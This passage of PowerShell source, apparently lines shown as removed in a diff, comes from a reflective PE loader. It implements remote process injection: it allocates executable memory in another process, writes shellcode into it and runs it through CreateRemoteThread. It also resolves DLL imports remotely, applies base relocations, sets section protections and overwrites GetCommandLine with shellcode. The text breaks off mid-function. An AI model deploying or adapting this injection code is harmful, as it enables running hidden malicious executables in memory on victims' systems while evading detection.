- [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
1556
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1557
- Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
1558
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
1559
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
1560
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
1561
- Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
1562
- $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
1563
-
1564
- $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
1565
- if ($RSCAddr -eq [IntPtr]::Zero)
1566
- {
1567
- Throw "Unable to allocate memory in the remote process for shellcode"
1568
- }
1569
- [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
1570
- $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
1571
- if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
1572
- {
1573
- Throw "Unable to write shellcode to remote process memory."
1574
- }
1575
-
1576
- $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
1577
- $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
1578
- if ($Result -ne 0)
1579
- {
1580
- Throw "Call to CreateRemoteThread to call GetProcAddress failed."
1581
- }
1582
-
1583
- #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
1584
- [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
1585
- $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
1586
- if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
1587
- {
1588
- Throw "Call to ReadProcessMemory failed"
1589
- }
1590
- [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
1591
-
1592
- #Cleanup remote process memory
1593
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1594
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1595
-
1596
- if (-not $LoadByOrdinal)
1597
- {
1598
- $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1599
- }
1600
-
1601
- return $ProcAddress
1602
- }
1603
-
1604
-
1605
- Function Copy-Sections
1606
- {
1607
- Param(
1608
- [Parameter(Position = 0, Mandatory = $true)]
1609
- [Byte[]]
1610
- $PEBytes,
1611
-
1612
- [Parameter(Position = 1, Mandatory = $true)]
1613
- [System.Object]
1614
- $PEInfo,
1615
-
1616
- [Parameter(Position = 2, Mandatory = $true)]
1617
- [System.Object]
1618
- $Win32Functions,
1619
-
1620
- [Parameter(Position = 3, Mandatory = $true)]
1621
- [System.Object]
1622
- $Win32Types
1623
- )
1624
-
1625
- for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
1626
- {
1627
- [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
1628
- $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
1629
-
1630
- #Address to copy the section to
1631
- [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
1632
-
1633
- #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
1634
- # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If
1635
- # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,
1636
- # so truncate SizeOfRawData to VirtualSize
1637
- $SizeOfRawData = $SectionHeader.SizeOfRawData
1638
-
1639
- if ($SectionHeader.PointerToRawData -eq 0)
1640
- {
1641
- $SizeOfRawData = 0
1642
- }
1643
-
1644
- if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
1645
- {
1646
- $SizeOfRawData = $SectionHeader.VirtualSize
1647
- }
1648
-
1649
- if ($SizeOfRawData -gt 0)
1650
- {
1651
- Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
1652
- [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
1653
- }
1654
-
1655
- #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space
1656
- if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
1657
- {
1658
- $Difference = $SectionHeader.VirtualSize - $SizeOfRawData
1659
- [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
1660
- Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
1661
- $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
1662
- }
1663
- }
1664
- }
1665
-
1666
-
1667
- Function Update-MemoryAddresses
1668
- {
1669
- Param(
1670
- [Parameter(Position = 0, Mandatory = $true)]
1671
- [System.Object]
1672
- $PEInfo,
1673
-
1674
- [Parameter(Position = 1, Mandatory = $true)]
1675
- [Int64]
1676
- $OriginalImageBase,
1677
-
1678
- [Parameter(Position = 2, Mandatory = $true)]
1679
- [System.Object]
1680
- $Win32Constants,
1681
-
1682
- [Parameter(Position = 3, Mandatory = $true)]
1683
- [System.Object]
1684
- $Win32Types
1685
- )
1686
-
1687
- [Int64]$BaseDifference = 0
1688
- $AddDifference = $true #Track if the difference variable should be added or subtracted from variables
1689
- [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
1690
-
1691
- #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do
1692
- if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
1693
- -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
1694
- {
1695
- return
1696
- }
1697
-
1698
-
1699
- elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
1700
- {
1701
- $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
1702
- $AddDifference = $false
1703
- }
1704
- elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
1705
- {
1706
- $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
1707
- }
1708
-
1709
- #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified
1710
- [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
1711
- while($true)
1712
- {
1713
- #If SizeOfBlock == 0, we are done
1714
- $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
1715
-
1716
- if ($BaseRelocationTable.SizeOfBlock -eq 0)
1717
- {
1718
- break
1719
- }
1720
-
1721
- [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
1722
- $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
1723
-
1724
- #Loop through each relocation
1725
- for($i = 0; $i -lt $NumRelocations; $i++)
1726
- {
1727
- #Get info for this relocation
1728
- $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
1729
- [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
1730
-
1731
- #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase
1732
- [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
1733
- [UInt16]$RelocType = $RelocationInfo -band 0xF000
1734
- for ($j = 0; $j -lt 12; $j++)
1735
- {
1736
- $RelocType = [Math]::Floor($RelocType / 2)
1737
- }
1738
-
1739
- #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.
1740
- #This appears to be true for EXE's as well.
1741
- # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
1742
- if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
1743
- -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
1744
- {
1745
- #Get the current memory address and update it based off the difference between PE expected base address and actual base address
1746
- [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
1747
- [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
1748
-
1749
- if ($AddDifference -eq $true)
1750
- {
1751
- [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1752
- }
1753
- else
1754
- {
1755
- [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
1756
- }
1757
-
1758
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
1759
- }
1760
- elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
1761
- {
1762
- #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it
1763
- Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
1764
- }
1765
- }
1766
-
1767
- $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
1768
- }
1769
- }
1770
-
1771
-
1772
- Function Import-DllImports
1773
- {
1774
- Param(
1775
- [Parameter(Position = 0, Mandatory = $true)]
1776
- [System.Object]
1777
- $PEInfo,
1778
-
1779
- [Parameter(Position = 1, Mandatory = $true)]
1780
- [System.Object]
1781
- $Win32Functions,
1782
-
1783
- [Parameter(Position = 2, Mandatory = $true)]
1784
- [System.Object]
1785
- $Win32Types,
1786
-
1787
- [Parameter(Position = 3, Mandatory = $true)]
1788
- [System.Object]
1789
- $Win32Constants,
1790
-
1791
- [Parameter(Position = 4, Mandatory = $false)]
1792
- [IntPtr]
1793
- $RemoteProcHandle
1794
- )
1795
-
1796
- $RemoteLoading = $false
1797
- if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
1798
- {
1799
- $RemoteLoading = $true
1800
- }
1801
-
1802
- if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
1803
- {
1804
- [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
1805
-
1806
- while ($true)
1807
- {
1808
- $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
1809
-
1810
- #If the structure is null, it signals that this is the end of the array
1811
- if ($ImportDescriptor.Characteristics -eq 0 `
1812
- -and $ImportDescriptor.FirstThunk -eq 0 `
1813
- -and $ImportDescriptor.ForwarderChain -eq 0 `
1814
- -and $ImportDescriptor.Name -eq 0 `
1815
- -and $ImportDescriptor.TimeDateStamp -eq 0)
1816
- {
1817
- Write-Verbose "Done importing DLL imports"
1818
- break
1819
- }
1820
-
1821
- $ImportDllHandle = [IntPtr]::Zero
1822
- $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
1823
- $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
1824
-
1825
- if ($RemoteLoading -eq $true)
1826
- {
1827
- $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
1828
- }
1829
- else
1830
- {
1831
- $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
1832
- }
1833
-
1834
- if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
1835
- {
1836
- throw "Error importing DLL, DLLName: $ImportDllPath"
1837
- }
1838
-
1839
- #Get the first thunk, then loop through all of them
1840
- [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
1841
- [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
1842
- [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1843
-
1844
- while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
1845
- {
1846
- $LoadByOrdinal = $false
1847
- [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
1848
- #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit
1849
- # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint
1850
- # and doing the comparison, just see if it is less than 0
1851
- [IntPtr]$NewThunkRef = [IntPtr]::Zero
1852
- if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
1853
- {
1854
- [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1855
- $LoadByOrdinal = $true
1856
- }
1857
- elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
1858
- {
1859
- [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
1860
- $LoadByOrdinal = $true
1861
- }
1862
- else
1863
- {
1864
- [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
1865
- $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
1866
- $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
1867
- $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
1868
- }
1869
-
1870
- if ($RemoteLoading -eq $true)
1871
- {
1872
- [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
1873
- }
1874
- else
1875
- {
1876
- [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
1877
- }
1878
-
1879
- if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
1880
- {
1881
- if ($LoadByOrdinal)
1882
- {
1883
- Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
1884
- }
1885
- else
1886
- {
1887
- Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
1888
- }
1889
- }
1890
-
1891
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
1892
-
1893
- $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1894
- [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
1895
- [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
1896
-
1897
- #Cleanup
1898
- #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed
1899
- if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
1900
- {
1901
- [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
1902
- $ProcedureNamePtr = [IntPtr]::Zero
1903
- }
1904
- }
1905
-
1906
- $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
1907
- }
1908
- }
1909
- }
1910
-
1911
- Function Get-VirtualProtectValue
1912
- {
1913
- Param(
1914
- [Parameter(Position = 0, Mandatory = $true)]
1915
- [UInt32]
1916
- $SectionCharacteristics
1917
- )
1918
-
1919
- $ProtectionFlag = 0x0
1920
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
1921
- {
1922
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1923
- {
1924
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1925
- {
1926
- $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
1927
- }
1928
- else
1929
- {
1930
- $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
1931
- }
1932
- }
1933
- else
1934
- {
1935
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1936
- {
1937
- $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
1938
- }
1939
- else
1940
- {
1941
- $ProtectionFlag = $Win32Constants.PAGE_EXECUTE
1942
- }
1943
- }
1944
- }
1945
- else
1946
- {
1947
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
1948
- {
1949
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1950
- {
1951
- $ProtectionFlag = $Win32Constants.PAGE_READWRITE
1952
- }
1953
- else
1954
- {
1955
- $ProtectionFlag = $Win32Constants.PAGE_READONLY
1956
- }
1957
- }
1958
- else
1959
- {
1960
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
1961
- {
1962
- $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
1963
- }
1964
- else
1965
- {
1966
- $ProtectionFlag = $Win32Constants.PAGE_NOACCESS
1967
- }
1968
- }
1969
- }
1970
-
1971
- if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
1972
- {
1973
- $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
1974
- }
1975
-
1976
- return $ProtectionFlag
1977
- }
1978
-
1979
- Function Update-MemoryProtectionFlags
1980
- {
1981
- Param(
1982
- [Parameter(Position = 0, Mandatory = $true)]
1983
- [System.Object]
1984
- $PEInfo,
1985
-
1986
- [Parameter(Position = 1, Mandatory = $true)]
1987
- [System.Object]
1988
- $Win32Functions,
1989
-
1990
- [Parameter(Position = 2, Mandatory = $true)]
1991
- [System.Object]
1992
- $Win32Constants,
1993
-
1994
- [Parameter(Position = 3, Mandatory = $true)]
1995
- [System.Object]
1996
- $Win32Types
1997
- )
1998
-
1999
- for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
2000
- {
2001
- [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
2002
- $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
2003
- [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
2004
-
2005
- [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
2006
- [UInt32]$SectionSize = $SectionHeader.VirtualSize
2007
-
2008
- [UInt32]$OldProtectFlag = 0
2009
- Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
2010
- $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
2011
- if ($Success -eq $false)
2012
- {
2013
- Throw "Unable to change memory protection"
2014
- }
2015
- }
2016
- }
2017
-
2018
- #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE
2019
- #Returns an object with addresses to copies of the bytes that were overwritten (and the count)
2020
- Function Update-ExeFunctions
2021
- {
2022
- Param(
2023
- [Parameter(Position = 0, Mandatory = $true)]
2024
- [System.Object]
2025
- $PEInfo,
2026
-
2027
- [Parameter(Position = 1, Mandatory = $true)]
2028
- [System.Object]
2029
- $Win32Functions,
2030
-
2031
- [Parameter(Position = 2, Mandatory = $true)]
2032
- [System.Object]
2033
- $Win32Constants,
2034
-
2035
- [Parameter(Position = 3, Mandatory = $true)]
2036
- [String]
2037
- $ExeArguments,
2038
-
2039
- [Parameter(Position = 4, Mandatory = $true)]
2040
- [IntPtr]
2041
- $ExeDoneBytePtr
2042
- )
2043
-
2044
- #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state.
2045
- $ReturnArray = @()
2046
-
2047
- $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
2048
- [UInt32]$OldProtectFlag = 0
2049
-
2050
- [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
2051
- if ($Kernel32Handle -eq [IntPtr]::Zero)
2052
- {
2053
- throw "Kernel32 handle null"
2054
- }
2055
-
2056
- [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
2057
- if ($KernelBaseHandle -eq [IntPtr]::Zero)
2058
- {
2059
- throw "KernelBase handle null"
2060
- }
2061
-
2062
- #################################################
2063
- #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it.
2064
- # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want.
2065
- $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
2066
- $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
2067
-
2068
- [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
2069
- [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")
2070
-
2071
- if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
2072
- {
2073
- throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
2074
- }
2075
-
2076
- #Prepare the shellcode
2077
- [Byte[]]$Shellcode1 = @()
2078
- if ($PtrSize -eq 8)
2079
- {
2080
- $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8
2081
- }
2082
- $Shellcode1 += 0xb8
2083
-
2084
- [Byte[]]$Shellcode2 = @(0xc3)
2085
- $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length
2086
-
2087
-
2088
- #Make copy of GetCommandLineA and GetCommandLineW
2089
- $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2090
- $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
2091
- $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
2092
- $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
2093
- $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
2094
- $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)
2095
-
2096
- #Overwrite GetCommandLineA
2097
- [UInt32]$OldProtectFlag = 0
2098
- $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2099
- if ($Success = $false)
2100
- {
2101
- throw "Call to VirtualProtect failed"
2102
- }
2103
-
2104
- $GetCommandLineAAddrTemp = $GetCommandLineAAddr
2105
- Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
2106
- $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
2107
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
2108
- $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
2109
- Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp
2110
-
2111
- $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2112
-
2113
-
2114
- #Overwrite GetCommandLineW
2115
- [UInt32]$OldProtectFlag = 0
2116
- $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
2117
- if ($Success = $false)
2118
- {
2119
- throw "Call to VirtualProtect failed"
2120
- }
2121
-
2122
- $GetCommandLineWAddrTemp = $GetCommandLineWAddr
2123
- Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
2124
- $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
2125
- [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
2126
- $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
2127
- Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp
2128
-
2129
- $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
2130
- #################################################
2131
-
2132
-
2133
- #################################################
2134
- #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work.
2135
- # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln.
2136
- # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the
2137
- # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported.
2138
- $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
2139
- , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")
2140
-
2141
- foreach ($Dll in $DllList)
2142
- {
2143
- [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
2144
